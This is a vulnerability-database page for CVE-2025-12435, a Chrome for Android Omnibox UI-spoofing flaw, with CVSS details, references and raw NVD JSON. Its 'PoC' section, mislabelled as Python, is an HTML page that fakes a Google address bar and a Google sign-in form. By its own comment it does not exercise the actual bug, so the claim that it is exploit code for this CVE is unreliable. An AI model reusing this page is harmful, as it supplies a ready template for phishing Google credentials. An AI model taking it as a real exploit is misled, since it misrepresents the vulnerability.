CVE-2025-12435

Description

Incorrect security UI in Omnibox in Google Chrome on Android prior to 142.0.7444.59 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome Android < 142.0.7444.59

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-12435 UI Spoofing PoC for Chrome Android -->
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>UI Spoofing PoC - CVE-2025-12435</title>
    <style>
        body { margin: 0; padding: 0; font-family: Arial, sans-serif; }
        .spoofed-bar {
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            height: 56px;
            background: linear-gradient(to bottom, #f1f3f4, #e8eaed);
            display: flex;
            align-items: center;
            padding: 0 8px;
            box-shadow: 0 1px 3px rgba(0,0,0,0.2);
            z-index: 999999;
        }
        .lock-icon { color: #188038; margin-right: 8px; font-size: 18px; }
        .url-text { color: #202124; font-size: 16px; }
        .content { padding: 70px 20px; text-align: center; }
        .fake-login {
            max-width: 400px;
            margin: 50px auto;
            padding: 30px;
            border: 1px solid #ccc;
            border-radius: 8px;
            background: white;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
        }
        input[type="text"], input[type="password"] {
            width: 100%;
            padding: 12px;
            margin: 10px 0;
            border: 1px solid #dadce0;
            border-radius: 4px;
            box-sizing: border-box;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #1a73e8;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-size: 14px;
        }
        button:hover { background: #1557b0; }
    </style>
</head>
<body>
    <!-- Fake Omnibox to demonstrate UI spoofing -->
    <div class="spoofed-bar">
        <span class="lock-icon">🔒</span>
        <span class="url-text">https://www.google.com/account</span>
    </div>

    <div class="content">
        <div class="fake-login">
            <h2>Sign in</h2>
            <p style="color: #666; font-size: 14px;">to continue to Google Account</p>
            <form onsubmit="alert('Credentials captured! (PoC only)'); return false;">
                <input type="text" placeholder="Email or phone" required>
                <input type="password" placeholder="Password" required>
                <button type="submit">Sign In</button>
            </form>
        </div>
    </div>

    <script>
        // Dynamic URL spoofing technique
        function updateOmnibox() {
            // This simulates the UI spoofing behavior
            // In real attack, this would manipulate the actual Omnibox
            document.querySelector('.url-text').textContent = 
                'https://accounts.google.com/signin';
        }
        
        // Trigger on page load
        window.addEventListener('load', updateOmnibox);
        
        // Monitor navigation attempts
        window.addEventListener('beforeunload', function(e) {
            console.log('Navigation intercepted');
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12435
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12435
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12435/
[4] VulDB https://vuldb.com/cve/CVE-2025-12435
[5] https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html
[6] https://issues.chromium.org/issues/446463993

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12435", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:38.150", "lastModified": "2025-11-13T15:25:22.480", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect security UI in Omnibox in Google Chrome on Android prior to 142.0.7444.59 allowed a remote attacker to perform UI spoofing via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}, {"lang": "en", "value": "CWE-451"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.59", "matchCriteriaId": "B56189F0-45F6-4A5B-AFFD-07B20B001040"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/446463993", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}